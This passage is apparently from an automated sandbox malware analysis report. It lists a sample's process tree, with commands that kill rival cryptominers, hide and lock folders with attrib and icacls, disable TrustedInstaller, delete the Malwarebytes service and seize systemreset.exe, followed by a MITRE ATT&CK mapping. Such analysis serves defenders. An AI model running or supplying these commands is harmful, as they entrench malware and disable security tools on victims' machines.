      icacls "C:\users\Admin\appData\Roaming\AudioHDriver" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1448
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM windowsdriver.exe /T /F
      4⤵
      Kills process with taskkill
      PID:2000
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM windowsdriver.exe /T /F
      4⤵
      PID:2868
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:5892
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\programdata\Windowsdriver"
      4⤵
      PID:4992
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\Windowsdriver" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3168
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\Windows\WindowsDefender"
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:2652
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windows\WindowsDefender" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2988
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM bvhost.exe /T /F
      4⤵
      Kills process with taskkill
      PID:3148
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\appdata\roaming\bvhost"
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:548
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\bvhost" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3436
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM nssm.exe /T /F
      4⤵
      PID:4560
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM infodown.exe /T /F
      4⤵
      PID:5476
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM infoweb.exe /T /F
      4⤵
      Kills process with taskkill
      PID:2668
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM windowsdeffenders.exe /T /F
      4⤵
      Kills process with taskkill
      PID:5072
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\windows\syswow64\hhsm" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      System Location Discovery: System Language Discovery
      PID:1436
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM windir.exe /T /F
      4⤵
      Kills process with taskkill
      PID:5912
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM windir.exe /T /F
      4⤵
      PID:1792
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:1100
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM lum.exe /T /F
      4⤵
      PID:2408
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM syslog.exe /T /F
      4⤵
      PID:3896
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\AppData\Local\syslog"
      4⤵
      PID:2100
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\syslog /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4324
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM wutphost.exe /T /F
      4⤵
      PID:5220
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\AppData\Local\wutphost"
      4⤵
      Views/modifies file attributes
      PID:1804
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\wutphost /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5488
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "Audio Emulation System.exe" /T /F
      4⤵
      PID:2548
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM winlg.exe /T /F
      4⤵
      Kills process with taskkill
      PID:2148
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\GoogleSoftware /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:2092
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM pythonw.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2672
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM UsersControl.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:5408
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM WindowHelperStorageHostSystemThread118466.exe /T /F
      4⤵
      Kills process with taskkill
      PID:1520
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM WindowHelperStorageHostSystemThread100040.exe /T /F
      4⤵
      PID:428
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM WindowHelperStorageHostSystemThread106333.exe /T /F
      4⤵
      PID:2236
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:836
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM wup.exe /T /F
      4⤵
      Kills process with taskkill
      PID:4588
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\AppData\local\temp\wup"
      4⤵
      Views/modifies file attributes
      PID:4792
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\local\temp\wup /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:5356
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\local\temp\wup /deny system:(OI)(CI)(F)
      4⤵
      PID:5280
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM intel.exe /T /F
      4⤵
      Kills process with taskkill
      PID:4024
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\programdata\DriversI /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:6132
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM minergate-cli.exe /T /F
      4⤵
      Kills process with taskkill
      PID:5336
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM msvc.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:4624
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\AppData\Roaming\Svcms"
      4⤵
      Views/modifies file attributes
      PID:2676
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\Svcms /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5624
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\Svcms /deny system:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:1772
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM FileSystemDriver.exe /T /F
      4⤵
      PID:5964
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\AppData\Local\FileSystemDriver"
      4⤵
      Views/modifies file attributes
      PID:3756
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\FileSystemDriver /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2456
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\FileSystemDriver /deny system:(OI)(CI)(F)
      4⤵
      PID:1472
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM geckof.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:4972
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\AppData\Local\geckof"
      4⤵
      Views/modifies file attributes
      PID:1748
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\geckof /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:2800
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\geckof /deny system:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:5296
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM initwin.exe /T /F
      4⤵
      Kills process with taskkill
      PID:4852
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\initwin /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:2804
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\initwin /deny system:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:1056
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM packagest.exe /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:976
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\packagest /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3488
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\packagest /deny system:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3692
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM ursb.exe /F
      4⤵
      Kills process with taskkill
      PID:3156
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM hssvc.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:3376
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM xmrig.exe /T /F
      4⤵
      PID:5180
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\windows\system32\hs /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3780
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM pythonw.exe /T /F
      4⤵
      PID:5600
  - - C:\Windows\SysWOW64\gpupdate.exe
      gpupdate /force
      4⤵
      PID:1668
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM CPU.exe /T /F
      4⤵
      PID:4380
  - - C:\Windows\SysWOW64\sc.exe
      sc config trustedinstaller start= Disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5940
  - - C:\Windows\SysWOW64\sc.exe
      sc stop mbamservice
      4⤵
      Launches sc.exe
      PID:3840
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:2248
  - - C:\Windows\SysWOW64\sc.exe
      sc delete mbamservice
      4⤵
      Launches sc.exe
      PID:2228
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f c:\windows\system32\systemreset.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:3228
  - - C:\Windows\SysWOW64\icacls.exe
      icacls c:\windows\System32\systemreset.exe /setowner Admin
      4⤵
      PID:3952
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "c:\windows\System32\systemreset.exe" /grant:r Admin:F
      4⤵
      Modifies file permissions
      PID:3516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Users

T1564.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry